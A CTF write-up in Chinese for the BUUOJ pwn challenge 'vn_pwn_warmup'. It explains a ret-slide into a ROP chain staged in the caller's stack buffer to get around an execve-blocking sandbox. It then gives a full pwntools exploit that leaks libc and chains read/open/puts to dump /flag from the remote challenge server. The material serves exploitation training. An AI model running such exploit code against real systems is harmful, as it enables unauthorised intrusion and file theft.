0%

vn_pwn_warmup(利用ret滑行到rop里)

首先,检查一下程序的保护机制

程序开启了沙箱保护

禁用了execve调用。

然后我们用IDA分析一下,这里没有栈溢出。

然后,我们进入9A1这个函数

这里可以栈溢出,但是仅仅能溢出0x10个字节,显然是不够我们完成open、read、write操作的。

但是,由于该函数是在9D3函数里调用,因此,**[9A1函数的栈下方就是9D3的栈空间。]{.mark}**因此我们可以在9D3的buf里布置rop,然后,在9A1里利用溢出,覆盖返回地址为ret的地址,使得rsp滑行到9D3的buf里,进而执行在9D3里布下的rop链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding:utf8
from pwn import *
from LibcSearcher import *

#sh = process('./vn_pwn_warmup')
sh = remote('node3.buuoj.cn',25249)
sh.recvuntil('gift: ')
puts_addr = int(sh.recvuntil('\n',drop = True),16)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
open_addr = libc_base + libc.dump('open')
read_addr = libc_base + libc.dump('read')
bss_addr = libc_base + 0x00000000003C5920
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
ret = libc_base + 0x0000000000000937
#read(0,bss_addr,8)输入flag字符串
rop = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(8) + p64(read_addr)
#open(bss_addr,0)
rop += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
#read(fd,bss_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(bss_addr)
rop += p64(pop_rdi) + p64(bss_addr) + p64(puts_addr)

sh.sendlineafter('Input something:',rop)

#使用ret滑到先前布置的rop里
payload = 'a'*0x78 + p64(ret)
sh.sendafter("What's your name?",payload)
sleep(0.5)
sh.send('/flag\x00')

sh.interactive()